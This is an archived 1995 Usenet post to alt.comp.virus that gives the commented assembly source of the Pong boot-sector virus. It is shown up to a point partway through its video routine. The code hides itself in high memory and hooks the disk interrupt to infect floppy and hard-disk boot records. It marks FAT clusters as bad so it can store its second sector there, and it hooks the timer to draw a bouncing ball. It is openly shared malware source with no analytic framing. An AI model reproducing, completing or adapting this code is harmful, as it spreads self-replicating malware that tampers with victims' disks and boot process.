home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / p / pong.asm / text0000.txt < prev   
Encoding:
Text File  |  1998-01-14  |  22.9 KB  |  644 lines

  1.  
  2. Path: chaos.dac.neu.edu!usenet.eel.ufl.edu!news.bluesky.net!solaris.cc.vt.edu!uunet!ankh.iia.org!danishm
  3. From: danishm@iia.org ()
  4. Newsgroups: alt.comp.virus
  5. Subject: Pong
  6. Date: 5 Feb 1995 21:56:02 GMT
  7. Organization: International Internet Association.
  8. Lines: 624
  9. Message-ID: <3h3hhi$sb@ankh.iia.org>
  10. NNTP-Posting-Host: iia.org
  11. X-Newsreader: TIN [version 1.2 PL2]
  12.  
  13. Here is the Pong virus:
  14.  
  15.  
  16.  
  17.    ; ORIGININ ADDRESS -7C00H 
  18.  
  19.  
  20. RAM   SEGMENT AT 0
  21.  
  22.    ; SYSTEM DATA
  23.  
  24.    ORG   20H
  25. INT8OF   DW ?        ; INTERRUPT 8 OFFSET
  26. INT8SG   DW ?        ; INTERRUPT 8 SEGMENT
  27.    ORG   4CH
  28. INT19O   DW ?        ; INTERRUPT 19 OFFSET
  29. INT19S   DW ?        ; INTERRUPT 19 SEGMENT
  30.    ORG   413H
  31. RAMSIZ   DW ?        ; TOTAL RAM SIZE
  32.  
  33.    ; BPB OF VIRUS BOOT RECORD
  34.  
  35.    ORG   7C0BH
  36. BYPSEC   DW ?        ; BYTES PER SECTOR
  37. NUMSEC   DB ?        ; SECTORS PER ALLOCATION UNIT
  38. SECRES   DW ?        ; RESERVED SECTORS
  39. FATNUM   DB ?        ; NUMBER OF FATS
  40. DIRNUM   DW ?        ; NUMBER OF ROOT DIR ENTRIES
  41. SECNUM   DW ?        ; NUMBER OF SECTORS
  42. MEDIAD   DB ?        ; MEDIA DESCRIPTOR
  43. SECFAT   DW ?        ; NUMBER OF SECTORS PER FAT
  44. SECTRK   DW ?        ; SECTORS PER TRACK
  45. HEDNUM   DW ?        ; NUMBER OF HEADS
  46. HIDSEC   DW ?        ; NUMBER OF HIDDEN SECTORS (LOW ORDER)
  47.  
  48.    ; INTERRUPT 19 (13H) BRANCH ADDRESS
  49.  
  50.    ORG   7D2AH
  51.  
  52. ORIG19   DW ?        ; ORIGINAL INT 19 OFFSET
  53. ORG19S   DW ?        ; ORIGINAL INT 19 SEGMENT
  54.  
  55.    ; INSTALLATION DATA AREA
  56.  
  57.    ORG   7DF3H
  58. CURFAT   DW ?     ; CURRENT FAT SECTOR
  59. CURCLS   DW ?     ; SECTOR NUMBER OF FIRST CLUSTER
  60. SWITCH   DB ?     ; SWITCHES
  61.             ;          - 01H - NESTED INTERRUPT
  62.             ;          - 02H - TIMER INTERRUPT INSTALLED
  63.             ;          - 04H - 16-BIT FAT
  64. LSTDRV   DB ?     ; DRIVE LAST USED
  65. REMAIN   DW ?     ; SECTOR NUMBER OF REST OF CODE
  66. RESERV   DB ?     ; RESERVED SPACE FOR FUTURE HACKING
  67. FLAG01   DW ?     ; FLAG FIELD
  68.  
  69.    ; DATA AREA
  70.  
  71.    ORG   7EB0H
  72. LASTTM   DW ?        ; SYSTEM TIME LAST CALLED
  73. PRCFAT   DB ?        ; PROCESSED FAT / 256
  74.  
  75.    ; INTERRUPT 8 BRANCH ADDRESS
  76.  
  77.    ORG   7FC9H
  78. ORG08O   DW ?        ; ORIGINAL INT 8 OFFSET
  79. ORG08S   DW ?        ; ORIGINAL INT 8 SEGMENT
  80.  
  81.    ; DISPLAY DATA AREA
  82.  
  83.    ORG   7FCDH
  84. CHARAT   DW ?        ; CHARACTER AND ATTRIBUTES
  85. ROWCOL   DW ?        ; ROW AND COLUMN POSITIONS
  86. ROWCLM   DW ?        ; ROW AND COLUMN MOVEMENT
  87. GRAPHM   DB ?        ; GRAPHICS MODE SWITCH
  88. MODEAP   DW ?        ; MODE AND ACTIVE PAGE
  89. COLUMN   DB ?        ; VISIBLE COLUMNS - 1
  90.  
  91.    ; BPB OF ORIGINAL BOOT RECORD
  92.  
  93.    ORG   800BH
  94. BIPSEC   DW ?        ; BYTES PER SECTOR
  95. ALCSEC   DB ?        ; SECTORS PER ALLOCATION UNIT
  96. VERVED   DW ?        ; RESERVED SECTORS
  97. RUMNUM   DB ?        ; NUMBER OF FATS
  98. ROTRID   DW ?        ; NUMBER OF ROOT DIR ENTRIES
  99. NUOSEC   DW ?        ; NUMBER OF SECTORS
  100. MIASET   DB ?        ; MEDIA DESCRIPTOR
  101. FASNUM   DW ?        ; NUMBER OF SECTORS PER FAT
  102. TRASSC   DW ?        ; SECTORS PER TRACK
  103. NUOHED   DW ?        ; NUMBER OF HEADS
  104. HIDESC   DW ?        ; NUMBER OF HIDDEN SECTORS (LOW ORDER)
  105.  
  106.  
  107.    ORG   81F5H
  108. FSTCLS   DW ?        ; SECTOR NUMBER OF FIRST CLUSTER
  109. SWITCB   DB ?        ; SWITCHES - 01H - NESTED INTERRUPT
  110.          ;             - 02H - TIMER INTERRUPT INSTALLED
  111.          ;             - 04H - 16-BIT FAT
  112. LASTUS   DB ?        ; DRIVE LAST USED
  113. REMAI2   DW ?        ; SECTOR NUMBER OF REST OF CODE
  114. LATER2   DB ?        ; TYPE SWITCH
  115. LATER3   DW 2 DUP (?)     ; INSTALLED.. HMMM?
  116.  
  117.  
  118. RAM   ENDS
  119.  
  120. CODE  SEGMENT BYTE PUBLIC 'CODE'
  121.    ASSUME CS:CODE,DS:RAM
  122.  
  123. START:  
  124.    JMP   HIDE_ME_PLEASE      ; BRANCH ROUND BPB TABLE
  125.  
  126.    DB 'MSDOS3.2'     ; OEM AND VERSION
  127.  
  128.    DW 512      ; BYPSEC - BYTES PER SECTOR
  129.    DB 2        ; NUMSEC - SECTORS PER ALLOCATION UNIT
  130.    DW 1        ; SECRES - RESERVED SECTORS
  131.    DB 2        ; FATNUM - NUMBER OF FATS
  132.    DW 112      ; DIRNUM - NUMBER OF ROOT DIR ENTRIES
  133.    DW 720      ; SECNUM - NUMBER OF SECTORS
  134.    DB 0FDH     ; MEDIAD - MEDIA DESCRIPTOR
  135.    DW 2        ; SECFAT - NUMBER OF SECTORS PER FAT
  136.    DW 9        ; SECTRK - SECTORS PER TRACK
  137.    DW 2        ; HEDNUM - NUMBER OF HEADS
  138.    DW 0        ; HIDSEC - NUMBER OF HIDDEN SECTORS (LOW ORDER)
  139.  
  140.    ; START OF PROCESSING
  141.  
  142.    ; HIDE 2K OF RAM FROM SYSTEM AND MOVE INTO THIS HIDDEN AREA
  143.  
  144. HIDE_ME_PLEASE: 
  145.    XOR   AX,AX
  146.    MOV   SS,AX       ; STACK SEGMENT ZERO
  147.    MOV   SP,7C00H    ; SET STACK POINTER TO START OF BUFFER
  148.    MOV   DS,AX       ; DATA SEGMENT ZERO
  149.    MOV   AX,RAMSIZ   ; GET TOTAL RAM SIZE
  150.    SUB   AX,2        ; SUBTRACT 2K
  151.    MOV   RAMSIZ,AX   ; REPLACE AMENDED RAM SIZE
  152.    MOV   CL,6        ; NUMBER OF POSITIONS TO SHIFT
  153.    SHL   AX,CL       ; MULTIPLY RAM SIZE BY 64 (SEGMENT ADDRESS)
  154.    SUB   AX,7C0H     ; SUBTRACT BUFFER OFFSET
  155.    MOV   ES,AX       ; SET TARGET SEGMENT ADDRESS
  156.    MOV   SI,7C00H    ; LOAD BUFFER TARGET OFFSET
  157.    MOV   DI,SI       ; COPY OFFSET FOR SOURCE
  158.    MOV   CX,0100H    ; NUMBER OF WORDS TO MOVE
  159.    REPZ  MOVSW       ; DUPLICATE BOOT SECTOR IN HIGH STORAGE
  160. ;  MOV   CS,AX       ; LOAD SEGMENT OF NEW LOCATION
  161.                      ; THIS IS THE ILLEGAL OPCODE!
  162.    DB 08EH, 0C8H     ; PREVIOUS COMMAND HARD CODED
  163.  
  164.    ; FROM THIS POINT ON WILL BE RUNNING IN HIGH STORAGE
  165.  
  166.    PUSH  CS             ; \ SET DS EQUAL TO CS
  167.    POP   DS             ; /
  168.    CALL  SET_IT_UP
  169. SET_IT_UP: 
  170.    XOR   AH,AH          ; INITIALISE DISK SUB-SYSTEM
  171.    INT   13H            ; DISK INTERRUPT
  172.    AND   LSTDRV,80H     ; SET ADDRESS FOR HARD DISK
  173.    MOV   BX,REMAIN      ; GET SECTOR OF REST OF CODE
  174.    PUSH  CS             ; \ GET CURRENT SEGMENT
  175.    POP   AX             ; /
  176.    SUB   AX,20H         ; ADDRESS BACK ONE SECTOR
  177.    MOV   ES,AX          ; SET BUFFER SEGMENT FOR REST OF CODE
  178.    CALL  READ_IT_IN         ; READ REST OF CODE
  179.    MOV   BX,REMAIN      ; GET SECTOR OF REST OF CODE
  180.    INC   BX             ; ADDRESS TO BOOT SECTOR STORE
  181.    MOV   AX,0FFC0H      ; WRAP-AROUND ADDRESS (= -400H)
  182.    MOV   ES,AX          ; SET BUFFER SEGMENT FOR BOOT SECTOR
  183.    CALL  READ_IT_IN         ; READ REAL BOOT SECTOR
  184.    XOR   AX,AX
  185.    MOV   SWITCH,AL      ; SET OFF ALL SWITCHES
  186.    MOV   DS,AX          ; DATA SEGMENT ZERO
  187.    MOV   AX,INT19O      ; SAVE INT 19 OFFSET
  188.    MOV   BX,INT19S      ; SAVE INT 19 SEGMENT
  189.    MOV   INT19O,OFFSET INT_19+7C00H ; NEW INT 19 OFFSET
  190.    MOV   INT19S,CS      ; NEW INT 19 SEGMENT
  191.    PUSH  CS             ; \ SET DS EQUAL TO CS
  192.    POP   DS             ; /
  193.    MOV   ORIG19,AX      ; STORE OLD INT 19 OFFSET
  194.    MOV   ORG19S,BX      ; STORE OLD INT 19 SEGMENT
  195.    MOV   DL,LSTDRV      ; GET DRIVE NUMBER
  196.    DB 0EAH              ; FAR JUMP TO BOOT SECTOR
  197.    DW 7C00H, 0
  198.  
  199. WRITE_IT_OUT: 
  200.    MOV   AX,301H     ; WRITE ONE SECTOR
  201.    JMP   SHORT GET_SECTOR
  202.  
  203. READ_IT_IN: 
  204.    MOV   AX,201H     ; READ ONE SECTOR
  205. GET_SECTOR: 
  206.    XCHG  BX,AX       ; MOVE SECTOR NUMBER TO AX
  207.    ADD   AX,HIDSEC   ; ADD HIDDEN SECTORS
  208.    XOR   DX,DX       ; CLEAR FOR DIVISION
  209.    DIV   SECTRK      ; DIVIDE BY SECTORS PER TRACK
  210.    INC   DL          ; ADD ONE TO ODD SECTORS
  211.    MOV   CH,DL       ; SAVE SECTOR NUMBER
  212.    XOR   DX,DX       ; CLEAR FOR DIVISION
  213.    DIV   HEDNUM      ; DIVIDE BY NUMBER OF HEADS
  214.    MOV   CL,6        ; POSITIONS TO MOVE
  215.    SHL   AH,CL       ; MOVE TOP TWO BITS OF TRACK
  216.    OR    AH,CH       ; MOVE IN SECTOR NUMBER
  217.    MOV   CX,AX       ; MOVE TO CORRECT REGISTER
  218.    XCHG  CH,CL       ; ..AND CORRECT POSITION IN REG
  219.    MOV   DH,DL       ; MOVE HEAD NUMBER
  220.    MOV   AX,BX       ; RECOVER CONTENTS OF AX
  221. BRING_IN: 
  222.    MOV   DL,LSTDRV   ; GET DRIVE NUMBER
  223.    MOV   BX,8000H    ; SET BUFFER ADDRESS
  224.    INT   13H         ; DISK INTERRUPT
  225.    JNB   GO_BACK     ; BRANCH IF NO ERRORS
  226.    POP   AX
  227. GO_BACK:
  228.    RET
  229.  
  230.    ; INTERRUPT 19 (13H) (DISK) ROUTINE
  231.  
  232. INT_19: 
  233.    PUSH  DS
  234.    PUSH  ES
  235.    PUSH  AX
  236.    PUSH  BX
  237.    PUSH  CX
  238.    PUSH  DX
  239.    PUSH  CS             ; \ SET DS EQUAL TO CS
  240.    POP   DS             ; /
  241.    PUSH  CS             ; \ SET ES EQUAL TO CS
  242.    POP   ES             ; /
  243.    TEST  SWITCH,1       ; TEST NESTED INTERRUPT SWITCH
  244.    JNZ   PASS_OUT         ; EXIT IF ON
  245.    CMP   AH,2           ; TEST FOR READ SECTOR
  246.    JNZ   PASS_OUT         ; EXIT IF NOT
  247.    CMP   LSTDRV,DL      ; COMPARE DRIVE NUMBER
  248.    MOV   LSTDRV,DL      ; SAVE DRIVE NUMBER
  249.    JNZ   INT_SWITCH         ; BRANCH IF DIFFERENT THIS TIME
  250.  
  251.    ; THIS IS THE ACTIVATION CODE.  IT HAS A 'WINDOW' OF JUST LESS
  252.    ; THAN A SECOND, APPROXIMATELY EVERY HALF HOUR, DURING WHICH
  253.    ; TIME A DISK-READ WILL SWITCH IT ON.
  254.  
  255.    XOR   AH,AH          ; GET SYSTEM CLOCK
  256.    INT   1AH            ; SYSTEM CLOCK INTERRUPT
  257.    TEST  DH,7FH         ; TEST LOW WORD HIGH BYTE
  258.    JNZ   DO_TIME
  259.    TEST  DL,0F0H        ; TEST LOW WORD LOW BYTE
  260.    JNZ   DO_TIME
  261.    PUSH  DX             ; SAVE SYSTEM TIME
  262.    CALL  INTERRUPT_08         ; INSTALL SYSTEM CLOCK ROUTINE
  263.    POP   DX             ; RECOVER SYSTEM TIME
  264. DO_TIME: 
  265.    MOV   CX,DX          ; COPY SYSTEM TIME
  266.    SUB   DX,LASTTM      ; INTERVAL SINCE LAST CALL
  267.    MOV   LASTTM,CX      ; SAVE SYSTEM TIME
  268.    SUB   DX,24H         ; SUBTRACT 2 SECONDS
  269.    JB    PASS_OUT         ; RETURN IF LESS THAN TWO SECONDS
  270. INT_SWITCH: 
  271.    OR SWITCH,1          ; SET ON NESTED INTERRUPT SWITCH
  272.    PUSH  SI
  273.    PUSH  DI
  274.    CALL  DISK_INSTALL         ; INSTALL ON DISK
  275.    POP   DI
  276.    POP   SI
  277.    AND   SWITCH,0FEH    ; SET OFF NESTED INTERRUPT SWITCH
  278. PASS_OUT: 
  279.    POP   DX
  280.    POP   CX
  281.    POP   BX
  282.    POP   AX
  283.    POP   ES
  284.    POP   DS
  285.    DB 0EAH        ; FAR JUMP TO ORIGINAL INT 19
  286.    DW 01FBH       ; ORIG19 - ORIGINAL INT 19 OFFSET
  287.    DW 0C800H      ; ORG19S - ORIGINAL INT 19 SEGMENT
  288.  
  289.    ; DISK INSTALLATION
  290.  
  291. DISK_INSTALL: 
  292.    MOV   AX,201H        ; READ ONE SECTOR
  293.    MOV   DH,0           ; HEAD NUMBER 0
  294.    MOV   CX,1           ; TRACK 0, SECTOR 1
  295.    CALL  BRING_IN         ; READ FIRST SECTOR FROM DISK
  296.    TEST  LSTDRV,80H     ; TEST FOR HARD DRIVE
  297.    JZ    FAT_CHECK         ; BRANCH IF NOT
  298.  
  299.    ; HARD DISK - PARTITION TABLE
  300.  
  301.    MOV   SI,81BEH       ; ADDRESS TO PARTITION TABLE
  302.    MOV   CX,4           ; NUMBER OF ENTRIES IN TABLE
  303. NEXT_PART_ENTRY: 
  304.    CMP   BYTE PTR [SI+4],1 ; TEST FOR DOS 12-BIT FAT
  305.    JZ    SNARF_UP_THE_BOOT         ; BRANCH IF YES
  306.    CMP   BYTE PTR [SI+4],4 ; TEST FOR DOS 16-BIT FAT
  307.    JZ    SNARF_UP_THE_BOOT         ; BRANCH IF YES
  308.    ADD   SI,10H         ; ADDRESS TO NEXT ENTRY
  309.    LOOP  NEXT_PART_ENTRY         ; LOOP THROUGH TABLE
  310.    RET
  311.  
  312.    ; HARD DISK - GET BOOT RECORD
  313.  
  314. SNARF_UP_THE_BOOT: 
  315.    MOV   DX,[SI]        ; GET HEAD NUMBER OF BOOT
  316.    MOV   CX,[SI+2]      ; GET TRACK AND SECTOR OF BOOT
  317.    MOV   AX,201H        ; READ ONE SECTOR
  318.    CALL  BRING_IN         ; GET BOOT SECTOR FOR PARTITION
  319.  
  320.    ; BOOT SECTOR PROCESSING
  321.  
  322. FAT_CHECK: 
  323.    MOV   SI,8002H       ; ADDRESS TO BPB SOURCE
  324.    MOV   DI,7C02H       ; ADDRESS TO BPB TARGET
  325.    MOV   CX,1CH         ; LENGTH OF BPB
  326.    REPZ  MOVSB          ; COPY BPB
  327.    CMP   LATER3,1357H   ; IS VIRUS INSTALLED ALREADY
  328.    JNZ   WHERE_BE_THE_FAT         ; BRANCH IF NOT
  329.    CMP   LATER2,0
  330.    JNB   HEAD_EM_OUT
  331.    MOV   AX,FSTCLS      ; GET SECTOR NO OF FIRST CLUSTER
  332.    MOV   CURCLS,AX      ; SAVE IT
  333.    MOV   SI,REMAI2
  334.    JMP   PLACE_VIRUS
  335.  
  336. HEAD_EM_OUT:  RET
  337.  
  338.    ; CALCULATE LOCATION OF FAT AND FIRST CLUSTER
  339.  
  340. WHERE_BE_THE_FAT: 
  341.    CMP   BIPSEC,200H    ; SECTOR SIZE 512
  342.    JNZ   HEAD_EM_OUT         ; EXIT IF DIFFERENT SIZE
  343.    CMP   ALCSEC,2       ; SECTORS PER CLUSTER
  344.    JB    HEAD_EM_OUT         ; EXIT IF LESS THAN 2
  345.    MOV   CX,VERVED      ; GET RESERVED SECTORS
  346.    MOV   AL,RUMNUM      ; NUMBER OF FATS
  347.    CBW                  ; FILL OUT REGISTER
  348.    MUL   FASNUM         ; SECTORS PER FAT
  349.    ADD   CX,AX          ; SECTOR OF ROOT DIR
  350.    MOV   AX,20H         ; LENGTH OF DIR ENTRY
  351.    MUL   ROTRID         ; NUMBER OF DIR ENTRIES
  352.    ADD   AX,1FFH        ; ROUND UP TO WHOLE SECTORS
  353.    MOV   BX,200H        ; LENGTH OF SECTOR
  354.    DIV   BX             ; SECTORS OF ROOT DIR
  355.    ADD   CX,AX          ; SECTOR OF FIRST CLUSTER
  356.    MOV   CURCLS,CX      ; SAVE THIS
  357.    MOV   AX,SECNUM      ; GET NUMBER OF SECTORS
  358.    SUB   AX,CURCLS      ; SUBTRACT NON-DATA SECTORS
  359.    MOV   BL,NUMSEC      ; GET SECTORS PER CLUSTER
  360.    XOR   DX,DX
  361.    XOR   BH,BH          ; CLEAR TOP OF REGISTER
  362.    DIV   BX             ; CALCULATE NUMBER OF CLUSTERS
  363.    INC   AX             ; ALLOW FOR NUMBER ONE NOT USED
  364.    MOV   DI,AX
  365.    AND   SWITCH,0FBH    ; SET OFF 16-BIT FAT SWITCH
  366.    CMP   AX,0FF0H       ; SEE IF 12-BIT FAT
  367.    JBE   WRITE_FAT         ; BRANCH IF YES
  368.    OR    SWITCH,4       ; SET ON 16-BIT FAT SWITCH
  369. WRITE_FAT: 
  370.    MOV   SI,1           ; INITIALISE FAT ENTRY COUNT
  371.    MOV   BX,SECRES      ; GET RESERVED SECTORS
  372.    DEC   BX             ; ALLOW FOR ADDITION
  373.    MOV   CURFAT,BX      ; SAVE CURRENT FAT SECTOR
  374.    MOV   PRCFAT,0FEH    ; SET PROCESSED FAT LENGTH TO -2
  375.    JMP   SHORT READ_FAT
  376.  
  377.    ; DATA AREA
  378.  
  379.    DW 2     ; CURFAT - CURRENT FAT SECTOR
  380.    DW 12    ; CURCLS - SECTOR NUMBER OF FIRST CLUSTER
  381.    DB 1     ; SWITCH - SWITCHES
  382.             ;        - 01H - NESTED INTERRUPT
  383.             ;        - 02H - TIMER INTERRUPT INSTALLED
  384.             ;        - 04H - 16-BIT FAT
  385.    DB 0               ; LSTDRV - DRIVE LAST USED
  386.    DW 02B8H           ; REMAIN - SECTOR NUMBER OF REST OF CODE
  387.    DB 0               ; RESERV - RESERVED SPACE.. FOR FUTURE HACKING
  388.    DW 1357H, 0AA55H   ; FLAG01 - FLAG FIELD.
  389.  
  390.       ; END OF FIRST SECTOR, START OF SECOND
  391.  
  392.    ; SEARCH FAT FOR UNUSED CLUSTER
  393.  
  394. READ_FAT: 
  395.    INC   CURFAT         ; ADDRESS TO NEXT FAT SECTOR
  396.    MOV   BX,CURFAT      ; GET NEXT SECTOR NUMBER
  397.    ADD   PRCFAT,2       ; ADD TO PROCESSED FAT LENGTH
  398.    CALL  READ_IT_IN         ; READ FAT SECTOR
  399.    JMP   SHORT GET_EM_NEXT
  400.  
  401. FAT_SWITCH: 
  402.    MOV   AX,3        ; LENGTH OF TWO FAT ENTRIES
  403.    TEST  SWITCH,4    ; TEST 16-BIT FAT SWITCH
  404.    JZ FAT_ENTRY         ; BRANCH IF OFF
  405.    INC   AX          ; FOUR BYTES NOT THREE
  406. FAT_ENTRY: 
  407.    MUL   SI          ; MULTIPLY BY FAT ENTRY NUMBER
  408.    SHR   AX,1        ; DIVIDE BY TWO
  409.    SUB   AH,PRCFAT   ; SUBTRACT PROCESSED FAT LENGTH
  410.    MOV   BX,AX       ; COPY DISPLACEMENT
  411.    CMP   BX,1FFH     ; SEE IF IN THIS SECTOR
  412.    JNB   READ_FAT      ; BRANCH IF NOT
  413.    MOV   DX,[BX+8000H]     ; GET ENTRY
  414.    TEST  SWITCH,4    ; TEST 16-BIT FAT SWITCH
  415.    JNZ   F_TEST_1      ; BRANCH IF ON
  416.    MOV   CL,4        ; POSITIONS TO MOVE
  417.    TEST  SI,1        ; TEST FOR ODD-NUMBERED ENTRY
  418.    JZ    FAT_TOP      ; BRANCH IF NOT
  419.    SHR   DX,CL       ; SHIFT EVEN ENTRY INTO POSITION
  420. FAT_TOP: 
  421.    AND   DH,0FH      ; SWITCH OFF TOP BITS
  422. F_TEST_1: 
  423.    TEST  DX,0FFFFH   ; TEST ALL BITS
  424.    JZ    MAKE_BAD      ; BRANCH IF NONE ON
  425. GET_EM_NEXT: 
  426.    INC   SI          ; NEXT FAT ENTRY
  427.    CMP   SI,DI       ; HAS LAST ENTRY BEEN PROCESSED
  428.    JBE   FAT_SWITCH      ; BRANCH IF NOT
  429.    RET
  430.  
  431.    ; SPARE CLUSTER FOUND - INSTALL ON DISK
  432.  
  433. MAKE_BAD: 
  434.    MOV   DX,0FFF7H   ; LOAD BAD SECTOR MARKER
  435.    TEST  SWITCH,4    ; TEST 16-BIT FAT SWITCH
  436.    JNZ   FIND_SECTOR      ; BRANCH IF ON
  437.    AND   DH,0FH      ; CONVERT MARKER TO FF7H
  438.    MOV   CL,4        ; BITS TO MOVE
  439.    TEST  SI,1        ; TEST FOR ODD-NUMBERED ENTRY
  440.    JZ    FIND_SECTOR      ; BRANCH IF NOT
  441.    SHL   DX,CL       ; MOVE INTO POSITION
  442. FIND_SECTOR: 
  443.    OR [BX+8000H],DX  ; PUT MARKER INTO FAT
  444.    MOV   BX,CURFAT   ; GET SECTOR NUMBER
  445.    CALL  WRITE_IT_OUT      ; WRITE FAT SECTOR
  446.    MOV   AX,SI       ; GET ENTRY NUMBER
  447.    SUB   AX,2        ; SUBTRACT FIRST CLUSTER NUMBER
  448.    MOV   BL,NUMSEC   ; GET SECTORS PER CLUSTER
  449.    XOR   BH,BH       ; CLEAR TOP OF REGISTER
  450.    MUL   BX          ; CONVERT TO SECTORS
  451.    ADD   AX,CURCLS   ; ADD SECTOR NUMBER OF 1ST CLUSTER
  452.    MOV   SI,AX       ; SAVE REAL SECTOR NUMBER
  453.    MOV   BX,0        ; SECTOR ZERO
  454.    CALL  READ_IT_IN      ; READ BOOT SECTOR
  455.    MOV   BX,SI       ; GET OUTPUT SECTOR NUMBER
  456.    INC   BX          ; ADDRESS TO NEXT SECTOR
  457.    CALL  WRITE_IT_OUT      ; WRITE BOOT SECTOR TO STORE
  458. PLACE_VIRUS: 
  459.    MOV   BX,SI       ; GET OUTPUT SECTOR NUMBER
  460.    MOV   REMAIN,SI   ; SAVE SECTOR NO OF REST OF CODE
  461.    PUSH  CS          ; \ GET CURRENT SEGMENT
  462.    POP   AX          ; /
  463.    SUB   AX,20H      ; ADDRESS BACK TO VIRUS (2)
  464.    MOV   ES,AX       ; SET BUFFER ADDRESS
  465.    CALL  WRITE_IT_OUT      ; WRITE VIRUS (2)
  466.    PUSH  CS          ; \ GET CURRENT SEGMENT
  467.    POP   AX          ; /
  468.    SUB   AX,40H      ; ADDRESS BACK TO VIRUS (1)
  469.    MOV   ES,AX       ; SET BUFFER ADDRESS
  470.    MOV   BX,0        ; SECTOR ZERO
  471.    CALL  WRITE_IT_OUT      ; WRITE VIRUS (1)
  472.    RET
  473.  
  474.    DW 20CH        ; LASTTM - SYSTEM TIME LAST CALLED
  475.    DB 2           ; PRCFAT - PROCESSED FAT / 256
  476.  
  477.    ; INSTALL INTERRUPT 8 (SYSTEM CLOCK) ROUTINE IF NOT DONE
  478.  
  479. INTERRUPT_08: 
  480.    TEST  SWITCH,2       ; TEST INT 8 INSTALLED SWITCH
  481.    JNZ   FINISH_TIME         ; BRANCH IF ON
  482.    OR    SWITCH,2       ; SET ON INT 8 INSTALLED SWITCH
  483.    MOV   AX,0           ; \ SEGMENT ZERO
  484.    MOV   DS,AX          ; /
  485.    MOV   AX,INT8OF      ; SAVE INT 8 OFFSET
  486.    MOV   BX,INT8SG      ; SAVE INT 8 SEGMENT
  487.    MOV   INT8OF,OFFSET DO_VIDEO+7C00H ; NEW INT 8 OFFSET
  488.    MOV   INT8SG,CS      ; NEW INT 8 SEGMENT
  489.    PUSH  CS             ; \ SET DS EQUAL TO CS
  490.    POP   DS             ; /
  491.    MOV   ORG08O,AX      ; STORE OLD INT 8 OFFSET
  492.    MOV   ORG08S,BX      ; STORE OLD INT 8 SEGMENT
  493. FINISH_TIME: 
  494.    RET
  495.  
  496.    ; INTERRUPT 10
  497.  
  498. DO_VIDEO: 
  499.    PUSH  DS
  500.    PUSH  AX
  501.    PUSH  BX
  502.    PUSH  CX
  503.    PUSH  DX
  504.    PUSH  CS             ; \ SET DS EQUAL TO CS
  505.    POP   DS             ; /
  506.    MOV   AH,0FH         ; GET VDU PARAMETERS
  507.    INT   10H            ; VDU INTERRUPT
  508.    MOV   BL,AL          ; VDU MODE
  509.    CMP   BX,MODEAP      ; TEST MODE AND ACTIVE PAGE
  510.    JZ    CHARACTER_ATTRIB         ; BRANCH IF UNCHANGED
  511.    MOV   MODEAP,BX      ; SAVE MODE AND ACTIVE PAGE
  512.    DEC   AH             ; VISIBLE COLUMNS
  513.    MOV   COLUMN,AH      ; SAVE VISIBLE COLUMNS - 1
  514.    MOV   AH,1           ; GRAPHICS MODE SWITCH ON
  515.    CMP   BL,7           ; TEST FOR TELETYPE MODE
  516.    JNZ   IS_IT_GRAPHICS         ; BRANCH IF NOT
  517.    DEC   AH             ; GRAPHICS MODE SWITCH OFF
  518. IS_IT_GRAPHICS: 
  519.    CMP   BL,4           ; TEST FOR GRAPHICS MODE
  520.    JNB   ROW_AND_COLUMN         ; BRANCH IF GRAPHICS OR TELETYPE
  521.    DEC   AH             ; GRAPHICS MODE SWITCH OFF
  522. ROW_AND_COLUMN: 
  523.    MOV   GRAPHM,AH      ; STORE GRAPHICS MODE SWITCH
  524.    MOV   ROWCOL,101H    ; SET ROW AND COLUMN POSITIONS
  525.    MOV   ROWCLM,101H    ; SET ROW AND COLUMN MOVEMENT
  526.    MOV   AH,3           ; GET CURSOR ADDRESS
  527.    INT   10H            ; VDU INTERRUPT
  528.    PUSH  DX             ; SAVE CURSOR ADDRESS
  529.    MOV   DX,ROWCOL      ; GET ROW AND COLUMN POSITIONS
  530.    JMP   SHORT VIDEO_01
  531.  
  532. CHARACTER_ATTRIB: 
  533.    MOV   AH,3        ; GET CURSOR ADDRESS
  534.    INT   10H         ; VDU INTERRUPT
  535.    PUSH  DX
  536.    MOV   AH,2        ; SET CURSOR ADDRESS
  537.    MOV   DX,ROWCOL   ; GET ROW AND COLUMN POSITIONS
  538.    INT   10H         ; VDU INTERRUPT
  539.    MOV   AX,CHARAT   ; GET CHARACTER AND ATTRIBUTES
  540.    CMP   GRAPHM,1    ; TEST FOR GRAPHICS MODE
  541.    JNZ   WRITE_CHAR      ; BRANCH IF NOT
  542.    MOV   AX,8307H    ; CHARACTER AND WRITE MODE
  543. WRITE_CHAR: 
  544.    MOV   BL,AH       ; MOVE ATTRIBUTE OR WRITE MODE
  545.    MOV   CX,1        ; ONLY ONCE
  546.    MOV   AH,9        ; WRITE CHARACTER AND ATTRIBUTES
  547.    INT   10H         ; VDU INTERRUPT
  548. VIDEO_01: 
  549.    MOV   CX,ROWCLM      ; GET ROW AND COLUMN MOVEMENT
  550.    CMP   DH,0           ; IS ROW ZERO
  551.    JNZ   VIDEO_02         ; BRANCH IF NOT
  552.    XOR   CH,0FFH        ; \ REVERSE ROW MOVEMENT
  553.    INC   CH             ; /
  554. VIDEO_02: 
  555.    CMP   DH,18H         ; IS ROW 24
  556.    JNZ   VIDEO_04         ; BRANCH IF NOT
  557.    XOR   CH,0FFH        ; \ REVERSE ROW MOVEMENT
  558.    INC   CH             ; /
  559. VIDEO_04: 
  560.    CMP   DL,0           ; IS COLUMN 0
  561.    JNZ   VIDEO_05         ; BRANCH IF NOT
  562.    XOR   CL,0FFH        ; \ REVERSE COLUMN MOVEMENT
  563.    INC   CL             ; /
  564. VIDEO_05: 
  565.    CMP   DL,COLUMN      ; IS COLUMN LAST VISIBLE COLUMN
  566.    JNZ   VIDEO_07         ; BRANCH IF NOT
  567.    XOR   CL,0FFH        ; \ REVERSE COLUMN MOVEMENT
  568.    INC   CL             ; /
  569. VIDEO_07: 
  570.    CMP   CX,ROWCLM      ; COMPARE ROW AND COLUMN MOVEMENT
  571.    JNZ   VIDEO_09         ; BRANCH IF CHANGED
  572.    MOV   AX,CHARAT      ; GET CHARACTER AND ATTRIBUTES
  573.    AND   AL,7           ; SWITCH OFF TOP BIT OF CHARACTER
  574.    CMP   AL,3           ; TEST BITS 1 AND 2
  575.    JNZ   VIDEO_08         ; BRANCH IF OFF
  576.    XOR   CH,0FFH        ; \ REVERSE ROW MOVEMENT
  577.    INC   CH             ; /
  578. VIDEO_08: 
  579.    CMP   AL,5           ; TEST BITS 1 AND 3
  580.    JNZ   VIDEO_09         ; BRANCH IF OFF
  581.    XOR   CL,0FFH        ; \ REVERSE COLUMN MOVEMENT
  582.    INC   CL             ; /
